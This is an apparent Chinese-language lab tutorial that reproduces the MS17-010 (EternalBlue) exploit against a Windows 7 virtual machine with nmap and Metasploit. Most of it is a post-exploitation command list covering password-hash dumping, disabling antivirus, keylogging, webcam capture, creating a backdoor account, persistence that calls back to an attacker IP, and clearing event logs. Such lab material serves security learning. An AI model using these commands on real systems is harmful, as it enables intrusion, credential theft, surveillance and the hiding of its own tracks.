MS17-010(永恒之蓝)漏洞复现和分析

2023-11-18

MS17-010(永恒之蓝)漏洞复现和分析

一、漏洞简介

1、永恒之蓝介绍:

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件

2、漏洞原理:

永恒之蓝漏洞通过 TCP 的445139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。

3、影响版本:

WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

二、漏洞复现

环境:
  • 攻击机:Linux Kali (IP:192.168.88.165)
  • 靶机(目标机):Windows 7 (IP:192.168.88.166)
复现过程:
1、主机发现:使用nmap进行c段扫描
nmap -sP 192.168.88.0/24

image-20220921170851351

2、端口发现:使用nmap进行端口扫描
nmap -sS -sV -A -T5 -p- 192.168.88.166

image-20220921171555010

能看到445端口是打开的,目标机的防火墙也是关闭的。

3、进入msf框架
msfconsole
search ms17-010

在这里插入图片描述

这里有两个工具,一个攻击,一个扫描,通常先扫描再攻击

4、使用扫描模块扫描
use 3 //使用3模块

image-20220921172400160

set RHOSTS 192.168.88.166 //填写参数

在这里插入图片描述

run //执行

image-20220921172633788

说主机很可能能够被MS17-010使用。

5、使用攻击模块
use 0

image-20220921172802008

show options //查看参数

image-20220921172905581

set RHOSTS 192.168.88.166

image-20220921172951290

run

image-20220921173146269

攻击成功

6、后渗透阶段

输入shell,就能进入到windows的shell界面

image-20220921173302461

从shell退出到meterpreter,输入exit

image-20220921173412102

从meterpreter退出到MSF,输入background

image-20220921173455680

输入sessions -l 查看我们获得的shell

输入sessions -i 1就能切换到id为1的shell

image-20220921173623176

在meterpreter >中,我们可以使用以下命令来实现对目标的操作

sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
run hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27        #反弹时间间隔是5s 会自动连接
                                   192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev                       #清除日志

image-20220921173906754

其他命令大家可自行尝试

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash
查看目标主机是否运行在虚拟机上

image-20220921191644179

关闭杀毒软件

image-20220921191812865

访问文件系统

meterpreter非常多的文件系统命令都基本和linux类似。

image-20220921191925565

下载/上传文件

download file 从目标主机下载文件

upload file 上传文件到目标主机

image-20220921192316097

权限提升

有时候我们得到的用户权限非常低,这时候我们就需要提权(这里我是最高权限了)

image-20220921192406780

运行程序

查看目标主机安装了哪些应用(我们刚装的靶机,所有应用少)

image-20220921193309707

可以使用execute命令在目标系统中执行程序

可选参数:
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:  跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程

image-20220921193507609

屏幕截图

image-20220921193550597

创建新账号

先查看目标主机有哪些账号

image-20220921193648145

在目标机中创建一个新的账号

创建成功了,但是报错了

image-20220921193756223

我们也可以在shell里面创建用户

开启远程桌面

当我们有一个账号,就可以用远程桌面进行登录了

image-20220921194107268

使用扩展库

image-20220921194139174

生成持续性后门

因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接,这样太麻烦了。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
通过启动项启动

我们生成一个后门木马,放到启动项中

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

通过服务启动

我们可以运行命令

run persistence -X -i 5 -p 8888 -r 192.168.88.165

image-20220921194417339

就会在目标机中看到一个.vbs文件,缺点是容易被杀

image-20220921194608927

清除事件日志

image-20220921195052690

文章仅限学习参考,不得用于非法使用

文章参考:https://blog.csdn.net/qq_44159028/article/details/104044002#%E5%90%8E%E6%B8%97%E9%80%8F%E9%98%B6%E6%AE%B5

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

MS17-010(永恒之蓝)漏洞复现和分析 的相关文章

随机推荐

  • 【实践经验】pip更改源加速下载

    目录 国内镜像 临时使用国内镜像 永久更换软件镜像 pip的默认源在安装软件包的时候非常慢 因此可以考虑使用国内的镜像加速下载和安装 在使用国内镜像的时候分为两种方式 1 临时使用镜像源 2 永久切换镜像 国内镜像 国内的镜像主要有以下几个
  • ubuntu16.04cuda10.0卸载、安装、查看版本信息

    一 Ubuntu16 04查看CUDA和CUDNN版本 1 cuda一般安装在 usr local cuda 路径下 该路径下有一个version txt文档 里面记录了cuda的版本信息 cat usr local cuda versio
  • 2023 LIGHTGBM 深度学习方法使用简易教程 入坑向

    一 需求背景及问题 项目要求使用LIGHTGBM进行本地数据的回归处理预测并要求做出Factors Importance的可视化处理 二 使用详情 1 LIGHTGBM框架使用目的 使用LIGHTGBM处理factors数据并作出regre
  • DBA思考方式感悟

    author skate time 2012 07 21 DBA思考方式感悟 某某牛人为什么能想到那么绝妙的方法 某某人为什么那么聪明 这样的话大家都听过 有时想想大家先天素质都差不多 那就是后天人家爱思考 知道如何思考 于是聊聊如何让自己
  • 注意力机制Attention详解

    注意力机制Attention详解 一 前言 2018年谷歌提出的NLP语言模型Bert一提出 便在NLP领域引起热议 之所以Bert模型能够火出圈 是由于Bert模型在NLP的多项任务中取得了之前所有模型都不能达到的出色效果 那么Bert模
  • upload-labs通关(Pass-11~Pass-15)

    目录 Pass 11 Pass 12 Pass 13 Pass 14 Pass 15 Pass 11 什么鬼 我都做好了上传不成功的准备 结果sh php居然上传成功了 一看Response报文 果然事情没有这么简单 后端自动把文件名中的p
  • JS基础知识-ECMAScript

    目录 1 1 基本语法 1 2 基本对象 JavaScript 概念 一门客户端脚本语言 运行在客户端浏览器种 每一个浏览器都有JavaScript的解析引擎 脚本语言 不需要编译 直接就可以被浏览器解析执行了 功能 可以来增强用户和htm
  • AF_INET和PF_INET的区别

    在写网络程序的时候 建立TCP socket一般是这样的 sock socket PF INET SOCK STREAM 0 然后在绑定本地地址或连接远程地址时需要初始化sockaddr in结构 其中指定address family时一般
  • MeterSphere对接禅道及LDAP

    一 禅道集成 基础配置 使用指引 1 账号密码为具有相应权限的Zentao账号 账号需要具有 超级model调用接口权限 2 保存 Basic Auth 账号信息后 需要在 MeterSphere 项目中手动关联 ID key 和缺陷模板
  • 解决selenium传入cookies错误:InvalidCookieDomainException: Message: Cookies may only be set for the curre

    这是因为cookies的domain不同造成的 去掉含有多余domain的cookie 不再报错 def getPureDomainCookies cookies domain2cookie 做一个域到cookie的映射 for cooki
  • 戳泡泡小游戏

    欢迎来到程序小院 戳泡泡 玩法 鼠标点击上升的起泡泡 点击暴躁记录分数 不要让泡泡越过屏幕 共有三次复活生命 会有随机星星出现 点击即可暴躁全屏哦 开始游戏https www ormcc com play gameStart 179 htm
  • MPLS-LDP

    在 MPLS 网络中 路由器通过运行 LDP 协议为每条内部路由映射 一个标签 然后再将标签信息通告给所有邻居 路由器之间通过这种方式来建立标签转发表 最终形成LSP 当网络拓扑发生变化时 LDP 会实时地响应这种变化 动态建立 LSP 实
  • XP系统IE浏览器无法访问https

    报错信息如下 百度后发现是tls的问题 查看相关信息 查看证书的信息 F12 Security not serure 老版本xp只有TLS1 0而证书是TLS1 2 一 尝试使用老版本Openssl创建证书 Openssl老版本下载 htt
  • 005. 反转链表-双指针

    题目链接 力扣 代码 01 双指针 class Solution public ListNode reverseList ListNode head ListNode temp 保存cur的下一个节点 ListNode cur head L
  • make[1]: *** [objs/Makefile:777:objs/src/os/unix/ngx_user.o] 错误 1

    在安装nginx 执行make时报以下错误 解决方法如下图 保存后再返回nginx目录下再执行make即可 如make后还报一样的错或其他错需再执行以下命令 在nginx目录下编辑vim src os unix ngx user c 如图
  • 数组与指针超强巩固练习题——搞清各种数组与指针的关系

    1 一维数组 include
  • faster rcnn matlab,Faster rcnn 模型的数据标定的知识求助,matlab2017b自带的函数

    构建CNN网络 输入层 最小检测对象设置为540 960 inputLayer imageInputLayer 10 10 3 中间层 定义卷基层参数 filterSize 3 3 numFilters 32 middleLayers 第一
  • linux驱动:一、字符设备的介绍和demo

    一 字符设备驱动简介 字符设备是 Linux 驱动中最基本的一类设备驱动 字符设备就是一个一个字节 按照字节流进行读写操作的设备 读写数据是分先后顺序的 比如我们最常见的点灯 按键 IIC SPI LCD 等等都是字符设备 这些设备的驱动就
  • 如何清空matlab命令窗口,matlab如何清空命令窗口中的内容

    还有一个常用的clf 清除图形窗口命令www mh456 com防采集 在matlab的命令窗口 输入2113clc命令 即可清空命令窗5261口中的内容 从matlab2012b版本后 还可以4102利用HOME菜单页下的Clear Co
  • MS17-010(永恒之蓝)漏洞复现和分析

    MS17 010 永恒之蓝 漏洞复现和分析 一 漏洞简介 1 永恒之蓝介绍 永恒之蓝是指2017年4月14日晚 黑客团体Shadow Brokers 影子经纪人 公布一大批网络攻击工具 其中包含 永恒之蓝 工具 永恒之蓝 利用Windows